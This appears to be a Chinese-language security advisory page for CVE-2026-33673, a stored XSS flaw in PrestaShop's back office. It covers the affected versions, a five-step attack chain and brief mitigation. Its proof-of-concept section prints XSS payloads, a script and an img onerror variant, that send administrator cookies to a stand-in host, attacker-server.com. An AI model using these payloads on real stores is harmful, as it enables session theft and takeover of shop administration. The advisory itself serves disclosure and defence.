IPBUF安全漏洞报告
English
CVE-2026-33673 CVSS 7.6 高危

CVE-2026-33673 PrestaShop后台存储型XSS漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33673
漏洞类型
存储型跨站脚本
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
PrestaShop

相关标签

XSSStored XSSPrestaShopCVE-2026-33673Web SecurityE-commerce

漏洞概述

PrestaShop是一款广泛使用的开源电子商务解决方案。在8.2.5和9.1.0版本之前,其后台管理系统(BO)存在严重的存储型跨站脚本(XSS)漏洞。该漏洞允许攻击者通过受限的后台访问权限或利用其他已知漏洞,将恶意数据注入数据库。由于后台模板中特定变量缺乏保护,当管理员查看受影响的数据时,恶意脚本将在其浏览器中执行。此漏洞可能导致管理员凭证被窃取、后台数据被篡改,甚至利用管理员权限进一步攻击系统。目前官方已发布修复版本,建议用户尽快更新。

技术细节

CVE-2026-33673的核心问题在于PrestaShop后台模板渲染机制中缺乏对用户输入的严格过滤和输出编码。攻击者首先需要具备向数据库写入数据的能力,这通常通过拥有受限的后台账户,或者组合利用其他SQL注入或权限绕过漏洞来实现。一旦恶意载荷(如JavaScript代码)被成功注入并存储在数据库中,它就会持久化存在。当拥有更高权限的管理员用户登录后台并访问包含该恶意数据的页面时,服务器会直接将未经过滤的数据渲染到HTML响应中。此时,恶意脚本将在管理员浏览器的上下文中运行,利用其合法的Session ID执行操作。这种攻击方式隐蔽性强,因为恶意代码存储在服务器端,每次页面加载都会触发。由于CVSS向量显示范围变更(S:C),攻击者可能利用此漏洞从后台扩展攻击范围,甚至影响前台用户或其他关联系统,对系统的机密性、完整性和可用性造成严重影响。此外,高权限要求(PR:H)意味着内部威胁或权限提升是攻击链的关键环节。

攻击链分析

STEP 1
步骤1:初始访问
攻击者获取受限的后台访问权限,或者利用系统中的其他漏洞(如SQL注入)获得数据写入能力。
STEP 2
步骤2:载荷注入
攻击者向后台数据库中包含未保护变量的字段(如产品描述、配置项等)注入恶意的JavaScript代码。
STEP 3
步骤3:持久化存储
恶意载荷被保存到PrestaShop的数据库中,等待被触发。
STEP 4
步骤4:触发漏洞
拥有高权限的管理员登录后台,并访问渲染了该恶意数据的页面。
STEP 5
步骤5:代码执行
浏览器解析未经过滤的恶意脚本,在管理员的会话上下文中执行攻击者定义的操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-33673 - PrestaShop Stored XSS Context: Injection into a vulnerable back-office field that is reflected in templates. --> <!-- Malicious payload to be stored in the database --> <script> // Example: Steal administrator session cookie var payload = document.cookie; var attackerUrl = 'http://attacker-server.com/log?c=' + encodeURIComponent(payload); fetch(attackerUrl); // Example: Perform an action as admin (e.g., create a new user) alert('XSS Executed in Back Office'); </script> <!-- Alternatively, using an image tag if script tags are filtered in some contexts --> <img src=x onerror="fetch('http://attacker-server.com/log?c='+document.cookie)">

影响范围

PrestaShop < 8.2.5
PrestaShop < 9.1.0

防御指南

临时缓解措施
如果无法立即升级,应严格限制后台管理员的访问来源,并检查数据库中是否存在可疑的脚本注入数据。同时,建议管理员使用非浏览器工具或隔离环境进行敏感操作,直到完成修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表